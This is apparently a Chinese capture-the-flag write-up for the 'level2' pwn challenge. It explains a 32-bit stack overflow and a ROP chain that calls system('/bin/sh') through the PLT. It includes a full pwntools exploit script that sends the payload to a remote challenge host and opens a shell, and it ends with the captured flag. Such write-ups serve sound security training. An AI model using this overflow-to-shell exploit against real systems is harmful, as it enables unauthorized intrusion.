【攻防世界】level2
收获
通过构造 ROP 链,利用 PLT 表找到
system()
函数的地址,执行system()
函数给 32 位的
system()
函数构造参数,注意提供函数返回值,需要填充 4 个 垃圾数据熟悉使用 exp 获取地址的方法,例如函数的地址、字符串的地址等;以及通过 IDA 查看地址的方法,通过 exp 获取的地址和 IDA 中直接查看的地址是一样的
思路
查看文件信息:
32位 小端序,只开启了栈不可执行
尝试执行文件:
在 IDA 分析:
跟进 vulnerable_function()
:
通过 read()
向 buf
写入长度为 0x100 的数据,但是栈中 buf
的长度只有 0x88,可以栈溢出
但是没有发现其他执行类似 system("/bin/sh")
命令的函数
查看字符串发现 “/bin/sh
“:
只要想办法执行这里的 “/bin/sh
“ 即可
由于这里给出了 system()
函数,可以利用这个函数执行 system 的命令
如果将 /bin/sh
作为参数 command
传入 system()
函数,就可以 PWN 掉靶机
所以思路如下:
① 首先需要通过 PLT
、GOT
表找到 system()
函数的地址;
② 通过栈溢出实现函数跳转,让程序执行 system()
函数;
③ 再找到 /bin/sh
的地址;
④ 利用 system()
函数将 /bin/sh
执行,就可以实现 PWN 操作
查看输入的 buf 在栈中的位置:
首先填充 b'a' * (0x88 - 0x00 + 0x04)
个字符,然后接上 system()
函数的地址作为返回值,使程序转而执行 system()
函数
至于 system()
函数的地址,可以根据 system_plt_addr = elf.plt["system"]
从 PLT 表中获取
另外,在 IDA 中,直接搜索函数 “system”,可以看到 .plt
段的函数 .system
的地址为 0x08048320
接下来就是给 system()
函数提供参数 /bin/sh
可以通过 bin_sh_addr = next(elf.search(b"/bin/sh"))
在程序中搜索 /bin/sh
的地址
也可以直接在 IDA 中,看到字符串 /bin/sh
的地址为 0x0804A024
注意这里需要用 4 个字节作为 system("/bin/sh")
的返回地址
脚本
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
elf = ELF("./level2") # 生成对象elf
system_plt_addr = elf.plt["system"] # 根据plt表获取system的地址,根据ida可知.plt段指向的.system的地址为0x08048320
bin_sh_addr = next(elf.search(b"/bin/sh")) # 在程序中搜寻/bin/sh的地址,根据ida可知地址为0x0804A024
def main():
if content == 1:
io = process("./level2") # 程序在kali的路径
else:
io = remote("61.147.171.105", 56085) # 题目的远程端口,注意是remote
payload = b'a' * (0x88 - 0x00 + 0x04) + p32(system_plt_addr) # 跳转到system函数的地址,system_plt_addr直接写0x08048320也可以
payload = payload + b'aaaa' + p32(bin_sh_addr) # 填入4个垃圾字符作为返回地址,bin_sh_addr直接填0x0804A024也可以
io.recvuntil("Input:\n")
io.sendline(payload)
io.interactive()
main()
结果
cyberpeace{437e920e2e285d2484407590036a7d62}